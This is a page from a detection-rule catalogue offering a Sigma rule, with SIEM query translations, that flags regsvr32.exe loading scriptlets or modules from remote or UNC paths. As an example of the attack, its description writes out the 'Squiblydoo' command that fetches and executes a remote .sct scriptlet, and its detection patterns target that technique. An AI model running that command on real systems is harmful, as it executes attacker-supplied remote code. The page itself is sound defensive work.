Skip to content

Siemphony is in beta and still being built. How a rule earns its badge.

Siemphony’s repertoire

Regsvr32 loading a scriptlet or a module from a remote path

Takes the process-creation leg of AN0785 and splits regsvr32.exe executions into the two shapes the analytic calls anomalous: a module named by URL or UNC path rather than by a local file, and a COM scriptlet rather than a DLL. The remote selection matches an http, https or ftp scheme on the command line — the "Squiblydoo" form `regsvr32 /s /n /u /i:http://host/file.sct scrobj.dll`, which registers nothing and only executes — or a UNC prefix, written as four backslashes in the YAML because `\\` in Sigma is one literal backslash. The scriptlet selection matches the scriptlet engine `scrobj.dll` and the `.sct` extension, which is MITRE's ScriptletExtensions knob populated here with the two strings that name the mechanism rather than a file type. Plain `regsvr32 C:\path\thing.dll` is deliberately not a hit: registering a local DLL is what the binary is for, and MITRE's AllowedDLLPaths knob exists precisely because that traffic is constant. Two limits worth stating: a copy of regsvr32.exe renamed before use escapes the `Image|endswith` gate, and the analytic's other three log sources — Sysmon EventID 7 module loads and EventID 3/22 network and DNS events — are separate log sources that cannot be joined to this one inside a single Sigma rule, so the unsigned-DLL and outbound-traffic halves of the correlation are not expressed here. The brief maps Security EventID 4688 onto Sigma's `process_creation` category, which is Sysmon-shaped — this rule is written in that vocabulary (`Image`, `CommandLine`), and a raw 4688 feed, whose native field name for the binary is `NewProcessName`, needs the usual field mapping applied before it can match. 4688 also requires *Audit Process Creation*, and every selection here reads the arguments, so it additionally requires the separate *Include command line in process creation events* policy; without both, this rule returns zero rows, and zero rows here means blind, not quiet. UNVERIFIED AS AUTHORED — derived from MITRE ATT&CK DET0282, not hand-written and not tested by its author. Any lab result is on this rule's own page.Full description

The detection

The 4 SIEM queries below are previews produced by Siemphony’s own translator, not pySigma, and none has been executed against a real backend — review before you deploy.

detection.yml

title: Regsvr32 loading a scriptlet or a module from a remote pathid: 2baac6bb-8880-47c8-961f-761591a44494status: experimentaldescription: |  Takes the process-creation leg of AN0785 and splits regsvr32.exe executions  into the two shapes the analytic calls anomalous: a module named by URL or UNC  path rather than by a local file, and a COM scriptlet rather than a DLL. The  remote selection matches an http, https or ftp scheme on the command line — the  "Squiblydoo" form `regsvr32 /s /n /u /i:http://host/file.sct scrobj.dll`, which  registers nothing and only executes — or a UNC prefix, written as four  backslashes in the YAML because `\\` in Sigma is one literal backslash. The  scriptlet selection matches the scriptlet engine `scrobj.dll` and the `.sct`  extension, which is MITRE's ScriptletExtensions knob populated here with the  two strings that name the mechanism rather than a file type. Plain  `regsvr32 C:\path\thing.dll` is deliberately not a hit: registering a local DLL  is what the binary is for, and MITRE's AllowedDLLPaths knob exists precisely  because that traffic is constant. Two limits worth stating: a copy of  regsvr32.exe renamed before use escapes the `Image|endswith` gate, and the  analytic's other three log sources — Sysmon EventID 7 module loads and EventID  3/22 network and DNS events — are separate log sources that cannot be joined to  this one inside a single Sigma rule, so the unsigned-DLL and outbound-traffic  halves of the correlation are not expressed here.  The brief maps Security EventID 4688 onto Sigma's `process_creation` category,  which is Sysmon-shaped — this rule is written in that vocabulary (`Image`,  `CommandLine`), and a raw 4688 feed, whose native field name for the binary is  `NewProcessName`, needs the usual field mapping applied before it can match.  4688 also requires *Audit Process Creation*, and every selection here reads the  arguments, so it additionally requires the separate *Include command line in  process creation events* policy; without both, this rule returns zero rows, and  zero rows here means blind, not quiet.  UNVERIFIED AS AUTHORED — derived from MITRE ATT&CK DET0282, not hand-written and not tested by its author. Any lab result is on this rule's own page.references:  - https://attack.mitre.org/techniques/T1218/010  - https://attack.mitre.org/detectionstrategies/DET0282author: Siemphony pipeline (machine-derived from MITRE ATT&CK v19.2)date: 2026-08-17tags:  - attack.defense-evasion  - attack.t1218.010logsource:  category: process_creation  product: windowsdetection:  selection_tool:    Image|endswith: '\regsvr32.exe'  selection_remote:    CommandLine|contains:      - 'http://'      - 'https://'      - 'ftp://'      - '\\\\'  selection_scriptlet:    CommandLine|contains:      - 'scrobj.dll'      - '.sct'  condition: selection_tool and (selection_remote or selection_scriptlet)falsepositives:  - "Application installers, repair routines and packaging scripts that register a COM component straight off a software distribution share, for example regsvr32 /s \\fileserver\\apps\\vendor\\control.dll. The UNC prefix is the whole of the signal in that leg, and in estates that deploy software from a file share this is the rule's highest-volume match by a wide margin — it is why the level is medium rather than high."  - "Legacy setup routines, vendor knowledge-base articles and helpdesk scripts that re-register the Windows Script Component runtime with regsvr32 scrobj.dll to repair a broken scriptlet association, which matches the scriptlet selection exactly with nothing remote involved."  - "Endpoint-management agents and logon scripts that register or unregister ActiveX controls and Office add-ins from a mapped network location during an application rollout, producing a burst of UNC-path matches across many hosts at the same time of day."  - "Developers and support staff registering a freshly compiled control directly from a UNC build-output path on a workstation, which produces the same event as a remote module load and is common on any machine used for COM development."level: medium

Sentinel · KQL

Run this as a search.

DeviceProcessEvents| where (FolderPath endswith "\\regsvr32.exe" and ((ProcessCommandLine contains "http://" or ProcessCommandLine contains "https://" or ProcessCommandLine contains "ftp://" or ProcessCommandLine contains "\\\\") or (ProcessCommandLine contains "scrobj.dll" or ProcessCommandLine contains ".sct")))

Splunk · SPL

Run this as a search.

index=* (Image="*\\regsvr32.exe" AND ((CommandLine="*http://*" OR CommandLine="*https://*" OR CommandLine="*ftp://*" OR CommandLine="*\\\\*") OR (CommandLine="*scrobj.dll*" OR CommandLine="*.sct*")))

Elastic · ES|QL

Run this as a search.

FROM logs-*| WHERE (TO_LOWER(process.executable) LIKE "*\\\\regsvr32.exe" AND ((TO_LOWER(process.command_line) LIKE "*http://*" OR TO_LOWER(process.command_line) LIKE "*https://*" OR TO_LOWER(process.command_line) LIKE "*ftp://*" OR TO_LOWER(process.command_line) LIKE "*\\\\\\\\*") OR (TO_LOWER(process.command_line) LIKE "*scrobj.dll*" OR TO_LOWER(process.command_line) LIKE "*.sct*")))

Wazuh · XML rule

Deploy to your manager — this is a rule, not a search.

<group name="sigma,windows,process_creation,">  <!-- Rule ids must be unique on your manager; 100000+ is the user range. -->  <rule id="100000" level="7">    <!-- Set <if_sid> to the decoder/base rule for windows so this only evaluates relevant events. -->    <field name="Image" type="pcre2">(?i)\\regsvr32\.exe$</field>    <field name="CommandLine" type="pcre2">(?i)((http://|https://|ftp://|\\\\)|(scrobj\.dll|\.sct))</field>    <description>Regsvr32 loading a scriptlet or a module from a remote path</description>    <mitre>      <id>T1218.010</id>    </mitre>  </rule></group>

Verdicts · reactions · comments

Community

Verdicts from engineers who actually deployed it, and the conversation around it.

Log in to react
Not yet reported on

Nobody has run this in a real environment and said what happened.

Verdicts from engineers who deployed it

0 cast

No verdicts reported yet. The first one is worth more than the tenth — say what you ran it against.

Log in to report a verdict.

Log in to join the discussion.

No comments yet. Someone who deploys this will have something to say about it.